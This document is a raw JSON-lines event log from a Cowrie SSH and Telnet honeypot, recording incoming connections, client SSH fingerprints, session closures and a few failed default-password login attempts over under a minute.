{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.817277Z","src_ip":"220.119.37.141","session":"8587ee42b38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59160,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccff99a525c2","protocol":"telnet","message":"New connection: 104.245.105.2:59160 (10.17.0.5:23) [session: ccff99a525c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:25.909308Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53104,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30ac1c6f996","protocol":"telnet","message":"New connection: 161.132.53.68:53104 (159.203.135.109:23) [session: b30ac1c6f996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:26.563189Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"chris","message":"login attempt [root/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:26.652012Z","src_ip":"220.119.37.141","session":"8587ee42b38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.027369022369385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:26.906296Z","src_ip":"161.132.53.68","session":"3f99cac7acae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34352,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d2d7c1bfc0","protocol":"telnet","message":"New connection: 161.132.53.68:34352 (159.203.135.109:23) [session: c5d2d7c1bfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:27.365295Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:27.855210Z","src_ip":"220.119.37.141","session":"8587ee42b38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":50568,"dst_ip":"159.203.135.109","dst_port":22,"session":"acdcadcfebef","protocol":"ssh","message":"New connection: 223.17.5.126:50568 (159.203.135.109:22) [session: acdcadcfebef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:28.767230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:28.772491Z","src_ip":"223.17.5.126","session":"acdcadcfebef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:28.990781Z","src_ip":"223.17.5.126","session":"acdcadcfebef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"root","message":"login attempt [ftp_user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:29.894717Z","src_ip":"223.17.5.126","session":"acdcadcfebef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34362,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d41d4ac009","protocol":"telnet","message":"New connection: 161.132.53.68:34362 (159.203.135.109:23) [session: 26d41d4ac009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:30.173929Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:31.116958Z","src_ip":"223.17.5.126","session":"acdcadcfebef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44100,"dst_ip":"159.203.135.109","dst_port":23,"session":"20d703d25b4f","protocol":"telnet","message":"New connection: 192.119.108.58:44100 (159.203.135.109:23) [session: 20d703d25b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:32.351876Z"}
{"eventid":"cowrie.session.closed","duration":30.13534927368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:34.044349Z","src_ip":"192.119.108.58","session":"cdcaaff7b410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34364,"dst_ip":"159.203.135.109","dst_port":23,"session":"4715889242f8","protocol":"telnet","message":"New connection: 161.132.53.68:34364 (159.203.135.109:23) [session: 4715889242f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:34.933328Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34370,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de6d70271c5","protocol":"telnet","message":"New connection: 161.132.53.68:34370 (159.203.135.109:23) [session: 3de6d70271c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:35.228336Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34374,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f37ef18eb23","protocol":"telnet","message":"New connection: 161.132.53.68:34374 (159.203.135.109:23) [session: 0f37ef18eb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:35.561078Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45448,"dst_ip":"159.203.135.109","dst_port":23,"session":"418e0e94736b","protocol":"telnet","message":"New connection: 192.119.108.58:45448 (159.203.135.109:23) [session: 418e0e94736b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:35.615088Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58480,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e14426c143","protocol":"telnet","message":"New connection: 161.132.53.68:58480 (159.203.135.109:23) [session: b5e14426c143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:37.254035Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58492,"dst_ip":"159.203.135.109","dst_port":23,"session":"e54e40757616","protocol":"telnet","message":"New connection: 161.132.53.68:58492 (159.203.135.109:23) [session: e54e40757616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:38.600019Z"}
{"eventid":"cowrie.session.closed","duration":32.19970655441284,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:40.277459Z","src_ip":"161.132.53.68","session":"76a352f4e21e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47822,"dst_ip":"159.203.135.109","dst_port":23,"session":"37e029b15a85","protocol":"telnet","message":"New connection: 192.119.108.58:47822 (159.203.135.109:23) [session: 37e029b15a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:40.580538Z"}
{"eventid":"cowrie.session.closed","duration":32.44210863113403,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:40.733509Z","src_ip":"161.132.53.68","session":"19d2416653b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.694443464279175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:41.009713Z","src_ip":"161.132.53.68","session":"311faf8de3d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551390647888184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:41.048799Z","src_ip":"161.132.53.68","session":"a0881310c257","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48074,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d8ec7847fd","protocol":"telnet","message":"New connection: 192.119.108.58:48074 (159.203.135.109:23) [session: c8d8ec7847fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:41.095540Z"}
{"eventid":"cowrie.session.closed","duration":30.76779532432556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:41.711368Z","src_ip":"192.119.108.58","session":"e7d73382c4fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48484,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f4acdac957","protocol":"telnet","message":"New connection: 192.119.108.58:48484 (159.203.135.109:23) [session: f9f4acdac957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:41.995961Z"}
{"eventid":"cowrie.session.closed","duration":30.387291193008423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:42.124728Z","src_ip":"161.132.53.68","session":"7de1b51ae39b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48296,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a8edd0a6186","protocol":"telnet","message":"New connection: 192.119.108.58:48296 (159.203.135.109:23) [session: 6a8edd0a6186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:42.652729Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48352,"dst_ip":"159.203.135.109","dst_port":23,"session":"187fbd9707dc","protocol":"telnet","message":"New connection: 192.119.108.58:48352 (159.203.135.109:23) [session: 187fbd9707dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:42.784720Z"}
{"eventid":"cowrie.session.closed","duration":30.39587640762329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:46.327288Z","src_ip":"192.119.108.58","session":"20972ebbb01e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50072,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa9da245e07","protocol":"telnet","message":"New connection: 192.119.108.58:50072 (159.203.135.109:23) [session: cfa9da245e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:46.627172Z"}
{"eventid":"cowrie.session.closed","duration":32.72445607185364,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:46.680058Z","src_ip":"161.132.53.68","session":"87484cee0b25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377575635910034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:46.774732Z","src_ip":"192.119.108.58","session":"7155f3116274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83842134475708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:46.990991Z","src_ip":"161.132.53.68","session":"fd1b9a1a80e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50544,"dst_ip":"159.203.135.109","dst_port":23,"session":"99ddbc9af6cb","protocol":"telnet","message":"New connection: 192.119.108.58:50544 (159.203.135.109:23) [session: 99ddbc9af6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:47.595529Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":55396,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ba8a697495","protocol":"ssh","message":"New connection: 114.35.59.237:55396 (10.17.0.5:22) [session: 28ba8a697495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:47.643904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:47.649315Z","src_ip":"114.35.59.237","session":"28ba8a697495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:47.863312Z","src_ip":"114.35.59.237","session":"28ba8a697495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"63b77d54f636","protocol":"telnet","message":"New connection: 192.119.108.58:50862 (159.203.135.109:23) [session: 63b77d54f636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:48.152818Z"}
{"eventid":"cowrie.session.closed","duration":31.002691745758057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:48.376415Z","src_ip":"161.132.53.68","session":"794ebd19a59a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"a","message":"login attempt [user/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:48.760689Z","src_ip":"114.35.59.237","session":"28ba8a697495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60748,"dst_ip":"159.203.135.109","dst_port":23,"session":"edaf99b5a0d6","protocol":"telnet","message":"New connection: 161.132.53.68:60748 (159.203.135.109:23) [session: edaf99b5a0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:49.544658Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:49.980006Z","src_ip":"114.35.59.237","session":"28ba8a697495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.769245624542236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:50.054130Z","src_ip":"192.119.108.58","session":"f69640261f85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60752,"dst_ip":"159.203.135.109","dst_port":23,"session":"a014b87b02e2","protocol":"telnet","message":"New connection: 161.132.53.68:60752 (159.203.135.109:23) [session: a014b87b02e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:50.148483Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60760,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4edff4eeeee","protocol":"telnet","message":"New connection: 161.132.53.68:60760 (159.203.135.109:23) [session: d4edff4eeeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:50.677992Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60762,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf0d08dd096b","protocol":"telnet","message":"New connection: 161.132.53.68:60762 (159.203.135.109:23) [session: cf0d08dd096b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:50.822435Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60776,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffb2b54e7eea","protocol":"telnet","message":"New connection: 161.132.53.68:60776 (159.203.135.109:23) [session: ffb2b54e7eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:54.176497Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60782,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b0f6a367912","protocol":"telnet","message":"New connection: 161.132.53.68:60782 (159.203.135.109:23) [session: 2b0f6a367912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:54.548180Z"}
{"eventid":"cowrie.session.closed","duration":30.78662133216858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:55.171194Z","src_ip":"192.119.108.58","session":"e421e1b17f84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99724578857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:55.239503Z","src_ip":"161.132.53.68","session":"b68a59a74b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":60798,"dst_ip":"159.203.135.109","dst_port":23,"session":"50beba32adc1","protocol":"telnet","message":"New connection: 161.132.53.68:60798 (159.203.135.109:23) [session: 50beba32adc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:55.333013Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":43474,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b4ff64daeeb","protocol":"ssh","message":"New connection: 124.18.182.99:43474 (10.17.0.5:22) [session: 1b4ff64daeeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:56.395823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:56.405596Z","src_ip":"124.18.182.99","session":"1b4ff64daeeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:56.580967Z","src_ip":"124.18.182.99","session":"1b4ff64daeeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53534173965454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:56.713685Z","src_ip":"161.132.53.68","session":"250bd3428597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.371145963668823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:56.886366Z","src_ip":"161.132.53.68","session":"25df38390902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38652,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c576abfa8ca","protocol":"telnet","message":"New connection: 161.132.53.68:38652 (159.203.135.109:23) [session: 3c576abfa8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:57.029254Z"}
